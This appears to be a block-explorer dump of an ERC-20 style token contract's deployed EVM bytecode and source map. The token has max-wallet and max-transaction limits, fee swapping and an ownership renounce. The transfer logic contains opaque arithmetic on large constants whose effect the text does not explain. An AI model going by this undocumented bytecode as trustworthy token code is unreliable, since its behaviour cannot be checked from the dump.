57806382eefb43146105ff57610272565b80633ecad271146104a15780635194f9bf146104d45780635342acb4146104e9578063701cf6f41461051c57806370a082311461053157610272565b806323555d571161022f57806323555d57146103bb57806323b872dd146103d057806327c8f835146104135780632b112e4914610428578063313ce5671461043d578063395093511461046857610272565b806306fdde03146102775780630930907b14610301578063095ea7b3146103325780631694505e1461037f57806318160ddd1461039457610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c6108aa565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102c65781810151838201526020016102ae565b50505050905090810190601f1680156102f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030d57600080fd5b5061031661093f565b604080516001600160a01b039092168252519081900360200190f35b34801561033e57600080fd5b5061036b6004803603604081101561035557600080fd5b506001600160a01b038135169060200135610963565b604080519115158252519081900360200190f35b34801561038b57600080fd5b50610316610981565b3480156103a057600080fd5b506103a9610990565b60408051918252519081900360200190f35b3480156103c757600080fd5b506103a9610996565b3480156103dc57600080fd5b5061036b600480360360608110156103f357600080fd5b506001600160a01b0381358116916020810135909116906040013561099c565b34801561041f57600080fd5b50610316610a25565b34801561043457600080fd5b506103a9610a49565b34801561044957600080fd5b50610452610ab7565b6040805160ff9092168252519081900360200190f35b34801561047457600080fd5b5061036b6004803603604081101561048b57600080fd5b506001600160a01b038135169060200135610ac0565b3480156104ad57600080fd5b5061036b600480360360208110156104c457600080fd5b50356001600160a01b0316610b0e565b3480156104e057600080fd5b506103a9610b23565b3480156104f557600080fd5b5061036b6004803603602081101561050c57600080fd5b50356001600160a01b0316610b29565b34801561052857600080fd5b506103a9610b3e565b34801561053d57600080fd5b506103a96004803603602081101561055457600080fd5b50356001600160a01b0316610b44565b34801561057057600080fd5b50610579610b5f565b005b34801561058757600080fd5b506103a96004803603602081101561059e57600080fd5b5035610c19565b3480156105b157600080fd5b506103a9600480360360408110156105c857600080fd5b5080359060200135610c30565b3480156105e157600080fd5b506103a9610c48565b3480156105f657600080fd5b506103a9610c4e565b34801561060b57600080fd5b506103a9610c54565b34801561062057600080fd5b506103a9610c5a565b34801561063557600080fd5b5061036b6004803603602081101561064c57600080fd5b50356001600160a01b0316610c60565b34801561066857600080fd5b50610316610c75565b34801561067d57600080fd5b5061028c610c84565b34801561069257600080fd5b50610316610ce2565b3480156106a757600080fd5b5061036b600480360360408110156106be57600080fd5b506001600160a01b038135169060200135610cf1565b3480156106e057600080fd5b5061036b600480360360408110156106f757600080fd5b506001600160a01b038135169060200135610d59565b34801561071957600080fd5b50610316610d6d565b34801561072e57600080fd5b506103a9610d7c565b34801561074357600080fd5b50610316610d82565b34801561075857600080fd5b5061036b6004803603602081101561076f57600080fd5b50356001600160a01b0316610d91565b34801561078b57600080fd5b506103a9610da6565b3480156107a057600080fd5b506103a9610dac565b3480156107b557600080fd5b5061036b610db2565b3480156107ca57600080fd5b506103a9610dc2565b3480156107df57600080fd5b506103a9600480360360408110156107f657600080fd5b506001600160a01b0381358116916020013516610dc8565b34801561081a57600080fd5b506103a9610df3565b34801561082f57600080fd5b50610316610df9565b34801561084457600080fd5b506103a9610e0d565b34801561085957600080fd5b506105796004803603602081101561087057600080fd5b50356001600160a01b0316610e13565b34801561088c57600080fd5b506103a9610f1d565b3480156108a157600080fd5b5061036b610f23565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156109355780601f1061090a57610100808354040283529160200191610935565b820191906000526020600020905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610977610970611028565b848461102c565b5060015b92915050565b6015546001600160a01b031681565b60115490565b601c5481565b60006109a9848484611118565b50610a1a846109b6611028565b610a1585604051806060016040528060288152602001611a4e602891396001600160a01b038a166000908152600760205260408120906109f4611028565b6001600160a01b031681526020810191909152604001600020549190611472565b61102c565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610ab2610a777f0000000000000000000000000000000000000000000000000000000000000000610b44565b610aac610aa37f0000000000000000000000000000000000000000000000000000000000000000610b44565b60115490611509565b90611509565b905090565b60035460ff1690565b6000610977610acd611028565b84610a158560076000610ade611028565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fce565b600e6020526000908152604090205460ff1681565b60195481565b600d6020526000908152604090205460ff1681565b60185481565b6001600160a01b031660009081526006602052604090205490565b610b67611028565b6000546001600160a01b03908116911614610bc9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60098160048110610c2957600080fd5b0154905081565b600081831115610c4157508061097b565b5090919050565b60135481565b60145481565b60205481565b60175481565b60106020526000908152604090205460ff1681565b6000546001600160a01b031690565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109355780601f1061090a57610100808354040283529160200191610935565b6005546001600160a01b031681565b6000610977610cfe611028565b84610a1585604051806060016040528060258152602001611abf6025913960076000610d28611028565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611472565b6000610a1a610d66611028565b8484611118565b6004546001600160a01b031681565b601b5481565b6016546001600160a01b031681565b600f6020526000908152604090205460ff1681565b601d5481565b60125481565b601654600160a81b900460ff1681565b601a5481565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b601e5481565b60035461010090046001600160a01b031681565b601f5481565b610e1b611028565b6000546001600160a01b03908116911614610e7d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610ec25760405162461bcd60e51b81526004018080602001828103825260268152602001806119986026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b601654600160b01b900460ff1681565b600082610f425750600061097b565b82820282848281610f4f57fe5b0414610a1e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611a2d6021913960400191505060405180910390fd5b6000610a1e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061154b565b600082820183811015610a1e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6001600160a01b0383166110715760405162461bcd60e51b8152600401808060200182810382526024815260200180611a9b6024913960400191505060405180910390fd5b6001600160a01b0382166110b65760405162461bcd60e51b81526004018080602001828103825260228152602001806119be6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60006001600160a01b03841661115f5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a766025913960400191505060405180910390fd5b6001600160a01b0383166111a45760405162461bcd60e51b81526004018080602001828103825260238152602001806119756023913960400191505060405180910390fd5b601654600160a01b900460ff16156111c8576111c18484846115b0565b9050610a1e565b6001600160a01b03841660009081526010602052604090205460ff1615801561120a57506001600160a01b03831660009081526010602052604090205460ff16155b15611250576013548211156112505760405162461bcd60e51b8152600401808060200182810382526028815260200180611a056028913960400191505060405180910390fd5b600061125b30610b44565b6012549091508110801590819061127c5750601654600160a01b900460ff16155b80156112a157506001600160a01b0386166000908152600e602052604090205460ff16155b156112c757601654600160a81b900460ff16156112be5760125491505b6112c782611718565b601654600160b01b900460ff1680156112f957506001600160a01b0385166000908152600f602052604090205460ff16155b15611371576014546113346113256103e861131f60205489610f3390919063ffffffff16565b90610f8c565b61132e88610b44565b90610fce565b11156113715760405162461bcd60e51b81526004018080602001828103825260258152602001806119e06025913960400191505060405180910390fd5b61138c6103e861131f60205487610f3390919063ffffffff16565b600c556020546113a5906103e89061131f908790610f33565b8403600b556001600160a01b03861660009081526010602052604090205460ff1615806113eb57506001600160a01b03851660009081526010602052604090205460ff16155b8061143057506001600160a01b0385166000908152600e602052604090205460ff168061143057506001600160a01b0386166000908152600e602052604090205460ff165b1561144457601d805461044d01905561145b565b601d80546108420190819055601e5561145b61178c565b6114668686866115b0565b50600192505050610a1e565b600081848411156115015760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114c65781810151838201526020016114ae565b50505050905090810190601f1680156114f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610a1e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611472565b6000818361159a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114c65781810151838201526020016114ae565b5060008385816115a657fe5b0495945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611601918490611472565b6001600160a01b038516600090815260066020526040902055601654600160a01b900460ff161561163757600b8290556000600c555b600061165e6009600201547402ab22667d980cfcbd760ab24edf97a1958000000019610c30565b6001600160a01b0385166000908152600660205260409020549091506116849082610fce565b6001600160a01b03851660009081526006602052604080822092909255600c54308252919020546116b491610fce565b3060009081526006602090815260409182902092909255805185815290516001600160a01b0387811693908916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001949350505050565b6016805460ff60a01b1916600160a01b179055611734816117ab565b47801561177b576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611779573d6000803e3d6000fd5b505b50506016805460ff60a01b19169055565b601d5460b101601e55600c80546b0d2eeec81d32cec9c7bd15dc019055565b60408051600280825260608083018452926020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561180f57600080fd5b505afa158015611823573d6000803e3d6000fd5b505050506040513d602081101561183957600080fd5b505181518290600190811061184a57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050308160008151811061187857fe5b6001600160a01b039283166020918202929092010152601d8054601e55601190556015546118a9913091168461102c565b60155460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561192f578181015183820152602001611917565b505050509050019650505050505050600060405180830381600087803b15801561195857600080fd5b505af115801561196c573d6000803e3d6000fd5b50505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696d697421215472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122019ce62e0a05b3a6d3ae5ce9cdfd2972f85f84eab5678ee26554e9b4c9379440b64736f6c63430007050033536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77

Deployed Bytecode

0x60806040526004361061026b5760003560e01c806388790a6811610144578063d17d5949116100b6578063e7caa08f1161007a578063e7caa08f1461080e578063eec2404514610823578063f0cd1dac14610838578063f2fde38b1461084d578063f680f79914610880578063f872858a1461089557610272565b8063d17d59491461077f578063d2d7ad8314610794578063da00097d146107a9578063dc44b6a0146107be578063dd62ed3e146107d357610272565b8063a457c2d711610108578063a457c2d71461069b578063a9059cbb146106d4578063b115e4df1461070d578063c5d2418914610722578063c816841b14610737578063c867d60b1461074c57610272565b806388790a68146106145780638b42507f146106295780638da5cb5b1461065c57806395d89b411461067157806398e944c81461068657610272565b80633ecad271116101dd578063715018a6116101a1578063715018a6146105645780637564fbd01461057b5780637ae2b5c7146105a55780637d1db4a5146105d5578063807c2d9c146105ea57806382eefb43146105ff57610272565b80633ecad271146104a15780635194f9bf146104d45780635342acb4146104e9578063701cf6f41461051c57806370a082311461053157610272565b806323555d571161022f57806323555d57146103bb57806323b872dd146103d057806327c8f835146104135780632b112e4914610428578063313ce5671461043d578063395093511461046857610272565b806306fdde03146102775780630930907b14610301578063095ea7b3146103325780631694505e1461037f57806318160ddd1461039457610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c6108aa565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102c65781810151838201526020016102ae565b50505050905090810190601f1680156102f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030d57600080fd5b5061031661093f565b604080516001600160a01b039092168252519081900360200190f35b34801561033e57600080fd5b5061036b6004803603604081101561035557600080fd5b506001600160a01b038135169060200135610963565b604080519115158252519081900360200190f35b34801561038b57600080fd5b50610316610981565b3480156103a057600080fd5b506103a9610990565b60408051918252519081900360200190f35b3480156103c757600080fd5b506103a9610996565b3480156103dc57600080fd5b5061036b600480360360608110156103f357600080fd5b506001600160a01b0381358116916020810135909116906040013561099c565b34801561041f57600080fd5b50610316610a25565b34801561043457600080fd5b506103a9610a49565b34801561044957600080fd5b50610452610ab7565b6040805160ff9092168252519081900360200190f35b34801561047457600080fd5b5061036b6004803603604081101561048b57600080fd5b506001600160a01b038135169060200135610ac0565b3480156104ad57600080fd5b5061036b600480360360208110156104c457600080fd5b50356001600160a01b0316610b0e565b3480156104e057600080fd5b506103a9610b23565b3480156104f557600080fd5b5061036b6004803603602081101561050c57600080fd5b50356001600160a01b0316610b29565b34801561052857600080fd5b506103a9610b3e565b34801561053d57600080fd5b506103a96004803603602081101561055457600080fd5b50356001600160a01b0316610b44565b34801561057057600080fd5b50610579610b5f565b005b34801561058757600080fd5b506103a96004803603602081101561059e57600080fd5b5035610c19565b3480156105b157600080fd5b506103a9600480360360408110156105c857600080fd5b5080359060200135610c30565b3480156105e157600080fd5b506103a9610c48565b3480156105f657600080fd5b506103a9610c4e565b34801561060b57600080fd5b506103a9610c54565b34801561062057600080fd5b506103a9610c5a565b34801561063557600080fd5b5061036b6004803603602081101561064c57600080fd5b50356001600160a01b0316610c60565b34801561066857600080fd5b50610316610c75565b34801561067d57600080fd5b5061028c610c84565b34801561069257600080fd5b50610316610ce2565b3480156106a757600080fd5b5061036b600480360360408110156106be57600080fd5b506001600160a01b038135169060200135610cf1565b3480156106e057600080fd5b5061036b600480360360408110156106f757600080fd5b506001600160a01b038135169060200135610d59565b34801561071957600080fd5b50610316610d6d565b34801561072e57600080fd5b506103a9610d7c565b34801561074357600080fd5b50610316610d82565b34801561075857600080fd5b5061036b6004803603602081101561076f57600080fd5b50356001600160a01b0316610d91565b34801561078b57600080fd5b506103a9610da6565b3480156107a057600080fd5b506103a9610dac565b3480156107b557600080fd5b5061036b610db2565b3480156107ca57600080fd5b506103a9610dc2565b3480156107df57600080fd5b506103a9600480360360408110156107f657600080fd5b506001600160a01b0381358116916020013516610dc8565b34801561081a57600080fd5b506103a9610df3565b34801561082f57600080fd5b50610316610df9565b34801561084457600080fd5b506103a9610e0d565b34801561085957600080fd5b506105796004803603602081101561087057600080fd5b50356001600160a01b0316610e13565b34801561088c57600080fd5b506103a9610f1d565b3480156108a157600080fd5b5061036b610f23565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156109355780601f1061090a57610100808354040283529160200191610935565b820191906000526020600020905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610977610970611028565b848461102c565b5060015b92915050565b6015546001600160a01b031681565b60115490565b601c5481565b60006109a9848484611118565b50610a1a846109b6611028565b610a1585604051806060016040528060288152602001611a4e602891396001600160a01b038a166000908152600760205260408120906109f4611028565b6001600160a01b031681526020810191909152604001600020549190611472565b61102c565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610ab2610a777f0000000000000000000000000000000000000000000000000000000000000000610b44565b610aac610aa37f000000000000000000000000000000000000000000000000000000000000dead610b44565b60115490611509565b90611509565b905090565b60035460ff1690565b6000610977610acd611028565b84610a158560076000610ade611028565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fce565b600e6020526000908152604090205460ff1681565b60195481565b600d6020526000908152604090205460ff1681565b60185481565b6001600160a01b031660009081526006602052604090205490565b610b67611028565b6000546001600160a01b03908116911614610bc9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60098160048110610c2957600080fd5b0154905081565b600081831115610c4157508061097b565b5090919050565b60135481565b60145481565b60205481565b60175481565b60106020526000908152604090205460ff1681565b6000546001600160a01b031690565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109355780601f1061090a57610100808354040283529160200191610935565b6005546001600160a01b031681565b6000610977610cfe611028565b84610a1585604051806060016040528060258152602001611abf6025913960076000610d28611028565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611472565b6000610a1a610d66611028565b8484611118565b6004546001600160a01b031681565b601b5481565b6016546001600160a01b031681565b600f6020526000908152604090205460ff1681565b601d5481565b60125481565b601654600160a81b900460ff1681565b601a5481565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b601e5481565b60035461010090046001600160a01b031681565b601f5481565b610e1b611028565b6000546001600160a01b03908116911614610e7d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610ec25760405162461bcd60e51b81526004018080602001828103825260268152602001806119986026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b601654600160b01b900460ff1681565b600082610f425750600061097b565b82820282848281610f4f57fe5b0414610a1e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611a2d6021913960400191505060405180910390fd5b6000610a1e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061154b565b600082820183811015610a1e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6001600160a01b0383166110715760405162461bcd60e51b8152600401808060200182810382526024815260200180611a9b6024913960400191505060405180910390fd5b6001600160a01b0382166110b65760405162461bcd60e51b81526004018080602001828103825260228152602001806119be6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60006001600160a01b03841661115f5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a766025913960400191505060405180910390fd5b6001600160a01b0383166111a45760405162461bcd60e51b81526004018080602001828103825260238152602001806119756023913960400191505060405180910390fd5b601654600160a01b900460ff16156111c8576111c18484846115b0565b9050610a1e565b6001600160a01b03841660009081526010602052604090205460ff1615801561120a57506001600160a01b03831660009081526010602052604090205460ff16155b15611250576013548211156112505760405162461bcd60e51b8152600401808060200182810382526028815260200180611a056028913960400191505060405180910390fd5b600061125b30610b44565b6012549091508110801590819061127c5750601654600160a01b900460ff16155b80156112a157506001600160a01b0386166000908152600e602052604090205460ff16155b156112c757601654600160a81b900460ff16156112be5760125491505b6112c782611718565b601654600160b01b900460ff1680156112f957506001600160a01b0385166000908152600f602052604090205460ff16155b15611371576014546113346113256103e861131f60205489610f3390919063ffffffff16565b90610f8c565b61132e88610b44565b90610fce565b11156113715760405162461bcd60e51b81526004018080602001828103825260258152602001806119e06025913960400191505060405180910390fd5b61138c6103e861131f60205487610f3390919063ffffffff16565b600c556020546113a5906103e89061131f908790610f33565b8403600b556001600160a01b03861660009081526010602052604090205460ff1615806113eb57506001600160a01b03851660009081526010602052604090205460ff16155b8061143057506001600160a01b0385166000908152600e602052604090205460ff168061143057506001600160a01b0386166000908152600e602052604090205460ff165b1561144457601d805461044d01905561145b565b601d80546108420190819055601e5561145b61178c565b6114668686866115b0565b50600192505050610a1e565b600081848411156115015760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114c65781810151838201526020016114ae565b50505050905090810190601f1680156114f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610a1e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611472565b6000818361159a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114c65781810151838201526020016114ae565b5060008385816115a657fe5b0495945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611601918490611472565b6001600160a01b038516600090815260066020526040902055601654600160a01b900460ff161561163757600b8290556000600c555b600061165e6009600201547402ab22667d980cfcbd760ab24edf97a1958000000019610c30565b6001600160a01b0385166000908152600660205260409020549091506116849082610fce565b6001600160a01b03851660009081526006602052604080822092909255600c54308252919020546116b491610fce565b3060009081526006602090815260409182902092909255805185815290516001600160a01b0387811693908916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001949350505050565b6016805460ff60a01b1916600160a01b179055611734816117ab565b47801561177b576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611779573d6000803e3d6000fd5b505b50506016805460ff60a01b19169055565b601d5460b101601e55600c80546b0d2eeec81d32cec9c7bd15dc019055565b60408051600280825260608083018452926020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561180f57600080fd5b505afa158015611823573d6000803e3d6000fd5b505050506040513d602081101561183957600080fd5b505181518290600190811061184a57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050308160008151811061187857fe5b6001600160a01b039283166020918202929092010152601d8054601e55601190556015546118a9913091168461102c565b60155460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561192f578181015183820152602001611917565b505050509050019650505050505050600060405180830381600087803b15801561195857600080fd5b505af115801561196c573d6000803e3d6000fd5b50505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696d697421215472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122019ce62e0a05b3a6d3ae5ce9cdfd2972f85f84eab5678ee26554e9b4c9379440b64736f6c63430007050033

Deployed Bytecode Sourcemap

11471:10096:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15477:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12028:81;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;12028:81:0;;;;;;;;;;;;;;16595:161;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;16595:161:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;12891:41;;;;;;;;;;;;;:::i;15736:100::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;13316:35;;;;;;;;;;;;;:::i;17653:313::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17653:313:0;;;;;;;;;;;;;;;;;:::i;11940:81::-;;;;;;;;;;;;;:::i;17094:156::-;;;;;;;;;;;;;:::i;15651:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16104:218;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;16104:218:0;;;;;;;;:::i;12418:45::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12418:45:0;-1:-1:-1;;;;;12418:45:0;;:::i;13189:36::-;;;;;;;;;;;;;:::i;12361:50::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12361:50:0;-1:-1:-1;;;;;12361:50:0;;:::i;13149:33::-;;;;;;;;;;;;;:::i;15838:119::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15838:119:0;-1:-1:-1;;;;;15838:119:0;;:::i;3154:230::-;;;;;;;;;;;;;:::i;:::-;;12279:73;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12279:73:0;;:::i;19841:109::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19841:109:0;;;;;;;:::i;12745:59::-;;;;;;;;;;;;;:::i;12817:58::-;;;;;;;;;;;;;:::i;13500:33::-;;;;;;;;;;;;;:::i;13106:36::-;;;;;;;;;;;;;:::i;12535:48::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12535:48:0;-1:-1:-1;;;;;12535:48:0;;:::i;2929:79::-;;;;;;;;;;;;;:::i;15562:87::-;;;;;;;;;;;;;:::i;11895:32::-;;;;;;;;;;;;;:::i;16324:269::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;16324:269:0;;;;;;;;:::i;17480:167::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17480:167:0;;;;;;;;:::i;11802:86::-;;;;;;;;;;;;;:::i;13274:35::-;;;;;;;;;;;;;:::i;12939:26::-;;;;;;;;;;;;;:::i;12476:52::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12476:52:0;-1:-1:-1;;;;;12476:52:0;;:::i;13368:36::-;;;;;;;;;;;;;:::i;12657:70::-;;;;;;;;;;;;;:::i;13008:45::-;;;;;;;;;;;;;:::i;13232:35::-;;;;;;;;;;;;;:::i;15959:143::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;15959:143:0;;;;;;;;;;:::i;13411:39::-;;;;;;;;;;;;;:::i;11691:104::-;;;;;;;;;;;;;:::i;13461:32::-;;;;;;;;;;;;;:::i;3386:244::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;3386:244:0;-1:-1:-1;;;;;3386:244:0;;:::i;12241:31::-;;;;;;;;;;;;;:::i;13062:35::-;;;;;;;;;;;;;:::i;15477:83::-;15547:5;15540:12;;;;;;;;-1:-1:-1;;15540:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15514:13;;15540:12;;15547:5;;15540:12;;15547:5;15540:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15477:83;:::o;12028:81::-;;;:::o;16595:161::-;16670:4;16687:39;16696:12;:10;:12::i;:::-;16710:7;16719:6;16687:8;:39::i;:::-;-1:-1:-1;16744:4:0;16595:161;;;;;:::o;12891:41::-;;;-1:-1:-1;;;;;12891:41:0;;:::o;15736:100::-;15816:12;;15736:100;:::o;13316:35::-;;;;:::o;17653:313::-;17751:4;17768:36;17778:6;17786:9;17797:6;17768:9;:36::i;:::-;;17815:121;17824:6;17832:12;:10;:12::i;:::-;17846:89;17884:6;17846:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17846:19:0;;;;;;:11;:19;;;;;;17866:12;:10;:12::i;:::-;-1:-1:-1;;;;;17846:33:0;;;;;;;;;;;;-1:-1:-1;17846:33:0;;;:89;:37;:89::i;:::-;17815:8;:121::i;:::-;-1:-1:-1;17954:4:0;17653:313;;;;;;:::o;11940:81::-;;;:::o;17094:156::-;17147:7;17174:68;17219:22;17229:11;17219:9;:22::i;:::-;17174:40;17191:22;17201:11;17191:9;:22::i;:::-;17174:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;17167:75;;17094:156;:::o;15651:83::-;15717:9;;;;15651:83;:::o;16104:218::-;16192:4;16209:83;16218:12;:10;:12::i;:::-;16232:7;16241:50;16280:10;16241:11;:25;16253:12;:10;:12::i;:::-;-1:-1:-1;;;;;16241:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;16241:25:0;;;:34;;;;;;;;;;;:38;:50::i;12418:45::-;;;;;;;;;;;;;;;:::o;13189:36::-;;;;:::o;12361:50::-;;;;;;;;;;;;;;;:::o;13149:33::-;;;;:::o;15838:119::-;-1:-1:-1;;;;;15931:18:0;15904:7;15931:18;;;:9;:18;;;;;;;15838:119::o